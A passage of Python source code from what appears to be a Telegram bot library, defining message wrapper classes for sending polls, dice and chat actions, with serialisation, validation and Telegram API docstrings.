int(array.get('chat_id')) else: raise TypeError('Unknown type, must be one of str, int or None.') # end if if array.get('reply_to_message_id') is None: data['reply_id'] = None elif isinstance(array.get('reply_to_message_id'), DEFAULT_MESSAGE_ID): data['reply_id'] = DEFAULT_MESSAGE_ID elif isinstance(array.get('reply_to_message_id'), int): data['reply_id'] = int(array.get('reply_to_message_id')) else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int or None.') # end if data['last_name'] = u(array.get('last_name')) if array.get('last_name') is not None else None data['vcard'] = u(array.get('vcard')) if array.get('vcard') is not None else None data['disable_notification'] = bool(array.get('disable_notification')) if array.get('disable_notification') is not None else None data['allow_sending_without_reply'] = bool(array.get('allow_sending_without_reply')) if array.get('allow_sending_without_reply') is not None else None if array.get('reply_markup') is None: data['reply_markup'] = None elif isinstance(array.get('reply_markup'), InlineKeyboardMarkup): data['reply_markup'] = InlineKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardMarkup): data['reply_markup'] = ReplyKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardRemove): data['reply_markup'] = ReplyKeyboardRemove.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ForceReply): data['reply_markup'] = ForceReply.from_array(array.get('reply_markup')) else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply or None.') # end if return data # end def validate_array @staticmethod def from_array(array): """ Deserialize a new ContactMessage from a given dictionary. :return: new ContactMessage instance. :rtype: ContactMessage """ if not array: # None or {} return None # end if data = ContactMessage.validate_array(array) return ContactMessage(**data) # end def from_array def __str__(self): """ Implements `str(contactmessage_instance)` """ return "ContactMessage(phone_number={self.phone_number!r}, first_name={self.first_name!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, last_name={self.last_name!r}, vcard={self.vcard!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __str__ def __repr__(self): """ Implements `repr(contactmessage_instance)` """ return "ContactMessage(phone_number={self.phone_number!r}, first_name={self.first_name!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, last_name={self.last_name!r}, vcard={self.vcard!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __repr__ def __contains__(self, key): """ Implements `"key" in contactmessage_instance` """ return ( key in ["phone_number", "first_name", "receiver", "reply_id", "last_name", "vcard", "disable_notification", "allow_sending_without_reply", "reply_markup"] and hasattr(self, key) and bool(getattr(self, key, None)) ) # end def __contains__ # end class ContactMessage class PollMessage(ReturnableMessageBase): """ Use this method to send a native poll. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendpoll Parameters: :param question: Poll question, 1-300 characters :type question: str|unicode :param options: A JSON-serialized list of answer options, 2-10 strings 1-100 characters each :type options: list of str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param is_anonymous: True, if the poll needs to be anonymous, defaults to True :type is_anonymous: bool :param type: Poll type, "quiz" or "regular", defaults to "regular" :type type: str|unicode :param allows_multiple_answers: True, if the poll allows multiple answers, ignored for polls in quiz mode, defaults to False :type allows_multiple_answers: bool :param correct_option_id: 0-based identifier of the correct answer option, required for polls in quiz mode :type correct_option_id: int :param explanation: Text that is shown when a user chooses an incorrect answer or taps on the lamp icon in a quiz-style poll, 0-200 characters with at most 2 line feeds after entities parsing :type explanation: str|unicode :param explanation_parse_mode: Mode for parsing entities in the explanation. See formatting options for more details. :type explanation_parse_mode: str|unicode :param explanation_entities: A JSON-serialized list of special entities that appear in the poll explanation, which can be specified instead of parse_mode :type explanation_entities: list of pytgbot.api_types.receivable.media.MessageEntity :param open_period: Amount of time in seconds the poll will be active after creation, 5-600. Can't be used together with close_date. :type open_period: int :param close_date: Point in time (Unix timestamp) when the poll will be automatically closed. Must be at least 5 and no more than 600 seconds in the future. Can't be used together with open_period. :type close_date: int :param is_closed: Pass True, if the poll needs to be immediately closed. This can be useful for poll preview. :type is_closed: bool :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ def __init__(self, question, options, receiver=None, reply_id=DEFAULT_MESSAGE_ID, is_anonymous=None, type=None, allows_multiple_answers=None, correct_option_id=None, explanation=None, explanation_parse_mode=None, explanation_entities=None, open_period=None, close_date=None, is_closed=None, disable_notification=None, allow_sending_without_reply=None, reply_markup=None): """ Use this method to send a native poll. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendpoll Parameters: :param question: Poll question, 1-300 characters :type question: str|unicode :param options: A JSON-serialized list of answer options, 2-10 strings 1-100 characters each :type options: list of str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param is_anonymous: True, if the poll needs to be anonymous, defaults to True :type is_anonymous: bool :param type: Poll type, "quiz" or "regular", defaults to "regular" :type type: str|unicode :param allows_multiple_answers: True, if the poll allows multiple answers, ignored for polls in quiz mode, defaults to False :type allows_multiple_answers: bool :param correct_option_id: 0-based identifier of the correct answer option, required for polls in quiz mode :type correct_option_id: int :param explanation: Text that is shown when a user chooses an incorrect answer or taps on the lamp icon in a quiz-style poll, 0-200 characters with at most 2 line feeds after entities parsing :type explanation: str|unicode :param explanation_parse_mode: Mode for parsing entities in the explanation. See formatting options for more details. :type explanation_parse_mode: str|unicode :param explanation_entities: A JSON-serialized list of special entities that appear in the poll explanation, which can be specified instead of parse_mode :type explanation_entities: list of pytgbot.api_types.receivable.media.MessageEntity :param open_period: Amount of time in seconds the poll will be active after creation, 5-600. Can't be used together with close_date. :type open_period: int :param close_date: Point in time (Unix timestamp) when the poll will be automatically closed. Must be at least 5 and no more than 600 seconds in the future. Can't be used together with open_period. :type close_date: int :param is_closed: Pass True, if the poll needs to be immediately closed. This can be useful for poll preview. :type is_closed: bool :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ super(PollMessage, self).__init__() from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove assert_type_or_raise(question, unicode_type, parameter_name="question") self.question = question assert_type_or_raise(options, list, parameter_name="options") self.options = options assert_type_or_raise(receiver, None, unicode_type, int, parameter_name="receiver") self.receiver = receiver assert_type_or_raise(reply_id, None, DEFAULT_MESSAGE_ID, int, parameter_name="reply_id") self.reply_id = reply_id assert_type_or_raise(is_anonymous, None, bool, parameter_name="is_anonymous") self.is_anonymous = is_anonymous assert_type_or_raise(type, None, unicode_type, parameter_name="type") self.type = type assert_type_or_raise(allows_multiple_answers, None, bool, parameter_name="allows_multiple_answers") self.allows_multiple_answers = allows_multiple_answers assert_type_or_raise(correct_option_id, None, int, parameter_name="correct_option_id") self.correct_option_id = correct_option_id assert_type_or_raise(explanation, None, unicode_type, parameter_name="explanation") self.explanation = explanation assert_type_or_raise(explanation_parse_mode, None, unicode_type, parameter_name="explanation_parse_mode") self.explanation_parse_mode = explanation_parse_mode assert_type_or_raise(explanation_entities, None, list, parameter_name="explanation_entities") self.explanation_entities = explanation_entities assert_type_or_raise(open_period, None, int, parameter_name="open_period") self.open_period = open_period assert_type_or_raise(close_date, None, int, parameter_name="close_date") self.close_date = close_date assert_type_or_raise(is_closed, None, bool, parameter_name="is_closed") self.is_closed = is_closed assert_type_or_raise(disable_notification, None, bool, parameter_name="disable_notification") self.disable_notification = disable_notification assert_type_or_raise(allow_sending_without_reply, None, bool, parameter_name="allow_sending_without_reply") self.allow_sending_without_reply = allow_sending_without_reply assert_type_or_raise(reply_markup, None, InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply, parameter_name="reply_markup") self.reply_markup = reply_markup # custom variable for message chaining self._next_msg = None # end def __init__ def actual_send(self, sender: PytgbotApiBot, *, ignore_reply: bool = False) -> PytgbotApiMessage: """ Send the message via pytgbot. :param sender: The bot instance to send with. :type sender: pytgbot.bot.Bot :param ignore_reply: If we should not include the the `reply_to` parameter, because that already failed. :type ignore_reply: bool :rtype: PytgbotApiMessage """ return sender.send_poll( question=self.question, options=self.options, chat_id=self.receiver, reply_to_message_id=self.reply_id, is_anonymous=self.is_anonymous, type=self.type, allows_multiple_answers=self.allows_multiple_answers, correct_option_id=self.correct_option_id, explanation=self.explanation, explanation_parse_mode=self.explanation_parse_mode, explanation_entities=self.explanation_entities, open_period=self.open_period, close_date=self.close_date, is_closed=self.is_closed, disable_notification=self.disable_notification, allow_sending_without_reply=self.allow_sending_without_reply, reply_markup=self.reply_markup, ) # end def send def to_array(self): """ Serializes this PollMessage to a dictionary. :return: dictionary representation of this object. :rtype: dict """ from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove array = super(PollMessage, self).to_array() array['question'] = u(self.question) # py2: type unicode, py3: type str array['options'] = PytgbotApiBot._as_array(self.options) # type list of str if isinstance(self.receiver, str): array['chat_id'] = u(self.receiver) # py2: type unicode, py3: type str elif isinstance(self.receiver, int): array['chat_id'] = int(self.receiver) # type int else: raise TypeError('Unknown type, must be one of str, int.') # end if if isinstance(self.reply_id, DEFAULT_MESSAGE_ID): array['reply_to_message_id'] = DEFAULT_MESSAGE_ID(self.reply_id) # type DEFAULT_MESSAGE_ID elif isinstance(self.reply_id, int): array['reply_to_message_id'] = int(self.reply_id) # type int else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int.') # end if array['is_anonymous'] = bool(self.is_anonymous) # type bool array['type'] = u(self.type) # py2: type unicode, py3: type str array['allows_multiple_answers'] = bool(self.allows_multiple_answers) # type bool array['correct_option_id'] = int(self.correct_option_id) # type int array['explanation'] = u(self.explanation) # py2: type unicode, py3: type str array['explanation_parse_mode'] = u(self.explanation_parse_mode) # py2: type unicode, py3: type str array['explanation_entities'] = PytgbotApiBot._as_array(self.explanation_entities) # type list of MessageEntity array['open_period'] = int(self.open_period) # type int array['close_date'] = int(self.close_date) # type int array['is_closed'] = bool(self.is_closed) # type bool array['disable_notification'] = bool(self.disable_notification) # type bool array['allow_sending_without_reply'] = bool(self.allow_sending_without_reply) # type bool if isinstance(self.reply_markup, InlineKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type InlineKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardRemove): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardRemove elif isinstance(self.reply_markup, ForceReply): array['reply_markup'] = self.reply_markup.to_array() # type ForceReply else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply.') # end if return array # end def to_array @staticmethod def validate_array(array): """ Builds a new array with valid values for the PollMessage constructor. :return: new array with valid values :rtype: dict """ assert_type_or_raise(array, dict, parameter_name="array") from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove data = super(PollMessage, PollMessage).validate_array(array) data['question'] = u(array.get('question')) data['options'] = TgBotApiObject._builtin_from_array_list(required_type=unicode_type, value=array.get('options'), list_level=1) if array.get('chat_id') is None: data['receiver'] = None elif isinstance(array.get('chat_id'), str): data['receiver'] = u(array.get('chat_id')) elif isinstance(array.get('chat_id'), int): data['receiver'] = int(array.get('chat_id')) else: raise TypeError('Unknown type, must be one of str, int or None.') # end if if array.get('reply_to_message_id') is None: data['reply_id'] = None elif isinstance(array.get('reply_to_message_id'), DEFAULT_MESSAGE_ID): data['reply_id'] = DEFAULT_MESSAGE_ID elif isinstance(array.get('reply_to_message_id'), int): data['reply_id'] = int(array.get('reply_to_message_id')) else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int or None.') # end if data['is_anonymous'] = bool(array.get('is_anonymous')) if array.get('is_anonymous') is not None else None data['type'] = u(array.get('type')) if array.get('type') is not None else None data['allows_multiple_answers'] = bool(array.get('allows_multiple_answers')) if array.get('allows_multiple_answers') is not None else None data['correct_option_id'] = int(array.get('correct_option_id')) if array.get('correct_option_id') is not None else None data['explanation'] = u(array.get('explanation')) if array.get('explanation') is not None else None data['explanation_parse_mode'] = u(array.get('explanation_parse_mode')) if array.get('explanation_parse_mode') is not None else None data['explanation_entities'] = MessageEntity.from_array_list(array.get('explanation_entities'), list_level=1) if array.get('explanation_entities') is not None else None data['open_period'] = int(array.get('open_period')) if array.get('open_period') is not None else None data['close_date'] = int(array.get('close_date')) if array.get('close_date') is not None else None data['is_closed'] = bool(array.get('is_closed')) if array.get('is_closed') is not None else None data['disable_notification'] = bool(array.get('disable_notification')) if array.get('disable_notification') is not None else None data['allow_sending_without_reply'] = bool(array.get('allow_sending_without_reply')) if array.get('allow_sending_without_reply') is not None else None if array.get('reply_markup') is None: data['reply_markup'] = None elif isinstance(array.get('reply_markup'), InlineKeyboardMarkup): data['reply_markup'] = InlineKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardMarkup): data['reply_markup'] = ReplyKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardRemove): data['reply_markup'] = ReplyKeyboardRemove.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ForceReply): data['reply_markup'] = ForceReply.from_array(array.get('reply_markup')) else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply or None.') # end if return data # end def validate_array @staticmethod def from_array(array): """ Deserialize a new PollMessage from a given dictionary. :return: new PollMessage instance. :rtype: PollMessage """ if not array: # None or {} return None # end if data = PollMessage.validate_array(array) return PollMessage(**data) # end def from_array def __str__(self): """ Implements `str(pollmessage_instance)` """ return "PollMessage(question={self.question!r}, options={self.options!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, is_anonymous={self.is_anonymous!r}, type={self.type!r}, allows_multiple_answers={self.allows_multiple_answers!r}, correct_option_id={self.correct_option_id!r}, explanation={self.explanation!r}, explanation_parse_mode={self.explanation_parse_mode!r}, explanation_entities={self.explanation_entities!r}, open_period={self.open_period!r}, close_date={self.close_date!r}, is_closed={self.is_closed!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __str__ def __repr__(self): """ Implements `repr(pollmessage_instance)` """ return "PollMessage(question={self.question!r}, options={self.options!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, is_anonymous={self.is_anonymous!r}, type={self.type!r}, allows_multiple_answers={self.allows_multiple_answers!r}, correct_option_id={self.correct_option_id!r}, explanation={self.explanation!r}, explanation_parse_mode={self.explanation_parse_mode!r}, explanation_entities={self.explanation_entities!r}, open_period={self.open_period!r}, close_date={self.close_date!r}, is_closed={self.is_closed!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __repr__ def __contains__(self, key): """ Implements `"key" in pollmessage_instance` """ return ( key in ["question", "options", "receiver", "reply_id", "is_anonymous", "type", "allows_multiple_answers", "correct_option_id", "explanation", "explanation_parse_mode", "explanation_entities", "open_period", "close_date", "is_closed", "disable_notification", "allow_sending_without_reply", "reply_markup"] and hasattr(self, key) and bool(getattr(self, key, None)) ) # end def __contains__ # end class PollMessage class DiceMessage(ReturnableMessageBase): """ Use this method to send an animated emoji that will display a random value. On success, the sent Message is returned. https://core.telegram.org/bots/api#senddice Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param emoji: Emoji on which the dice throw animation is based. Currently, must be one of "🎲", "🎯", "🏀", "⚽", "🎳", or "🎰". Dice can have values 1-6 for "🎲", "🎯" and "🎳", values 1-5 for "🏀" and "⚽", and values 1-64 for "🎰". Defaults to "🎲" :type emoji: str|unicode :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ def __init__(self, receiver=None, reply_id=DEFAULT_MESSAGE_ID, emoji=None, disable_notification=None, allow_sending_without_reply=None, reply_markup=None): """ Use this method to send an animated emoji that will display a random value. On success, the sent Message is returned. https://core.telegram.org/bots/api#senddice Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param emoji: Emoji on which the dice throw animation is based. Currently, must be one of "🎲", "🎯", "🏀", "⚽", "🎳", or "🎰". Dice can have values 1-6 for "🎲", "🎯" and "🎳", values 1-5 for "🏀" and "⚽", and values 1-64 for "🎰". Defaults to "🎲" :type emoji: str|unicode :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ super(DiceMessage, self).__init__() from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove assert_type_or_raise(receiver, None, unicode_type, int, parameter_name="receiver") self.receiver = receiver assert_type_or_raise(reply_id, None, DEFAULT_MESSAGE_ID, int, parameter_name="reply_id") self.reply_id = reply_id assert_type_or_raise(emoji, None, unicode_type, parameter_name="emoji") self.emoji = emoji assert_type_or_raise(disable_notification, None, bool, parameter_name="disable_notification") self.disable_notification = disable_notification assert_type_or_raise(allow_sending_without_reply, None, bool, parameter_name="allow_sending_without_reply") self.allow_sending_without_reply = allow_sending_without_reply assert_type_or_raise(reply_markup, None, InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply, parameter_name="reply_markup") self.reply_markup = reply_markup # custom variable for message chaining self._next_msg = None # end def __init__ def actual_send(self, sender: PytgbotApiBot, *, ignore_reply: bool = False) -> PytgbotApiMessage: """ Send the message via pytgbot. :param sender: The bot instance to send with. :type sender: pytgbot.bot.Bot :param ignore_reply: If we should not include the the `reply_to` parameter, because that already failed. :type ignore_reply: bool :rtype: PytgbotApiMessage """ return sender.send_dice( chat_id=self.receiver, reply_to_message_id=self.reply_id, emoji=self.emoji, disable_notification=self.disable_notification, allow_sending_without_reply=self.allow_sending_without_reply, reply_markup=self.reply_markup, ) # end def send def to_array(self): """ Serializes this DiceMessage to a dictionary. :return: dictionary representation of this object. :rtype: dict """ from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove array = super(DiceMessage, self).to_array() if isinstance(self.receiver, str): array['chat_id'] = u(self.receiver) # py2: type unicode, py3: type str elif isinstance(self.receiver, int): array['chat_id'] = int(self.receiver) # type int else: raise TypeError('Unknown type, must be one of str, int.') # end if if isinstance(self.reply_id, DEFAULT_MESSAGE_ID): array['reply_to_message_id'] = DEFAULT_MESSAGE_ID(self.reply_id) # type DEFAULT_MESSAGE_ID elif isinstance(self.reply_id, int): array['reply_to_message_id'] = int(self.reply_id) # type int else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int.') # end if array['emoji'] = u(self.emoji) # py2: type unicode, py3: type str array['disable_notification'] = bool(self.disable_notification) # type bool array['allow_sending_without_reply'] = bool(self.allow_sending_without_reply) # type bool if isinstance(self.reply_markup, InlineKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type InlineKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardRemove): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardRemove elif isinstance(self.reply_markup, ForceReply): array['reply_markup'] = self.reply_markup.to_array() # type ForceReply else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply.') # end if return array # end def to_array @staticmethod def validate_array(array): """ Builds a new array with valid values for the DiceMessage constructor. :return: new array with valid values :rtype: dict """ assert_type_or_raise(array, dict, parameter_name="array") from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove data = super(DiceMessage, DiceMessage).validate_array(array) if array.get('chat_id') is None: data['receiver'] = None elif isinstance(array.get('chat_id'), str): data['receiver'] = u(array.get('chat_id')) elif isinstance(array.get('chat_id'), int): data['receiver'] = int(array.get('chat_id')) else: raise TypeError('Unknown type, must be one of str, int or None.') # end if if array.get('reply_to_message_id') is None: data['reply_id'] = None elif isinstance(array.get('reply_to_message_id'), DEFAULT_MESSAGE_ID): data['reply_id'] = DEFAULT_MESSAGE_ID elif isinstance(array.get('reply_to_message_id'), int): data['reply_id'] = int(array.get('reply_to_message_id')) else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int or None.') # end if data['emoji'] = u(array.get('emoji')) if array.get('emoji') is not None else None data['disable_notification'] = bool(array.get('disable_notification')) if array.get('disable_notification') is not None else None data['allow_sending_without_reply'] = bool(array.get('allow_sending_without_reply')) if array.get('allow_sending_without_reply') is not None else None if array.get('reply_markup') is None: data['reply_markup'] = None elif isinstance(array.get('reply_markup'), InlineKeyboardMarkup): data['reply_markup'] = InlineKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardMarkup): data['reply_markup'] = ReplyKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardRemove): data['reply_markup'] = ReplyKeyboardRemove.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ForceReply): data['reply_markup'] = ForceReply.from_array(array.get('reply_markup')) else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply or None.') # end if return data # end def validate_array @staticmethod def from_array(array): """ Deserialize a new DiceMessage from a given dictionary. :return: new DiceMessage instance. :rtype: DiceMessage """ if not array: # None or {} return None # end if data = DiceMessage.validate_array(array) return DiceMessage(**data) # end def from_array def __str__(self): """ Implements `str(dicemessage_instance)` """ return "DiceMessage(receiver={self.receiver!r}, reply_id={self.reply_id!r}, emoji={self.emoji!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __str__ def __repr__(self): """ Implements `repr(dicemessage_instance)` """ return "DiceMessage(receiver={self.receiver!r}, reply_id={self.reply_id!r}, emoji={self.emoji!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __repr__ def __contains__(self, key): """ Implements `"key" in dicemessage_instance` """ return ( key in ["receiver", "reply_id", "emoji", "disable_notification", "allow_sending_without_reply", "reply_markup"] and hasattr(self, key) and bool(getattr(self, key, None)) ) # end def __contains__ # end class DiceMessage class ChatActionMessage(ReturnableMessageBase): """ Use this method when you need to tell the user that something is happening on the bot's side. The status is set for 5 seconds or less (when a message arrives from your bot, Telegram clients clear its typing status). Returns True on success. Example: The ImageBot needs some time to process a request and upload the image. Instead of sending a text message along the lines of "Retrieving image, please wait…", the bot may use sendChatAction with action = upload_photo. The user will see a "sending photo" status for the bot. We only recommend using this method when a response from the bot will take a noticeable amount of time to arrive. https://core.telegram.org/bots/api#sendchataction Parameters: :param action: Type of action to broadcast. Choose one, depending on what the user is about to receive: typing for text messages, upload_photo for photos, record_video or upload_video for videos, record_voice or upload_voice for voice notes, upload_document for general files, choose_sticker for stickers, find_location for location data, record_video_note or upload_video_note for video notes. :type action: str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int """ def __init__(self, action, receiver=None): """ Use this method when you need to tell the user that something is happening on the bot's side. The status is set for 5 seconds or less (when a message arrives from your bot, Telegram clients clear its typing status). Returns True on success. Example: The ImageBot needs some time to process a request and upload the image. Instead of sending a text message along the lines of "Retrieving image, please wait…", the bot may use sendChatAction with action = upload_photo. The user will see a "sending photo" status for the bot. We only recommend using this method when a response from the bot will take a noticeable amount of time to arrive. https://core.telegram.org/bots/api#sendchataction Parameters: :param action: Type of action to broadcast. Choose one, depending on what the user is about to receive: typing for text messages, upload_photo for photos, record_video or upload_video for videos, record_voice or upload_voice for voice notes, upload_document for general files, choose_sticker for stickers, find_location for location data, record_video_note or upload_video_note for video notes. :type action: str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int """ super(ChatActionMessage, self).__init__() assert_type_or_raise(action, unicode_type, parameter_name="action") self.action = action assert_type_or_raise(receiver, None, unicode_type, int, parameter_name="receiver") self.receiver = receiver # custom variable for message chaining self._next_msg = None # end def __init__ def actual_send(self, sender: PytgbotApiBot, *, ignore_reply: bool = False) -> PytgbotApiMessage: """ Send the message via pytgbot. :param sender: The bot instance to send with. :type sender: pytgbot.bot.Bot :param ignore_reply: If we should not include the the `reply_to` parameter, because that already failed. :type ignore_reply: bool :rtype: PytgbotApiMessage """ return sender.send_chat_action( action=self.action, chat_id=self.receiver, ) # end def send def to_array(self): """ Serializes this ChatActionMessage to a dictionary. :return: dictionary representation of this object. :rtype: dict """ array = super(ChatActionMessage, self).to_array() array['action'] = u(self.action) # py2: type unicode, py3: type str if isinstance(self.receiver, str): array['chat_id'] = u(self.receiver) # py2: type unicode, py3: type str elif isinstance(self.receiver, int): array['chat_id'] = int(self.receiver) # type int else: raise TypeError('Unknown type, must be one of str, int.') # end if return array # end def to_array @staticmethod def validate_array(array): """ Builds a new array with valid values for the ChatActionMessage constructor. :return: new array with valid values :rtype: dict """ assert_type_or_raise(array, dict, parameter_name="array") data = super(ChatActionMessage, ChatActionMessage).validate_array(array) data['action'] = u(array.get('action')) if array.get('chat_id') is None: data['receiver'] = None elif isinstance(array.get('chat_id'), str): data['receiver'] = u(array.get('chat_id')) elif isinstance(array.get('chat_id'), int): data['receiver'] = int(array.get('chat_id')) else: raise 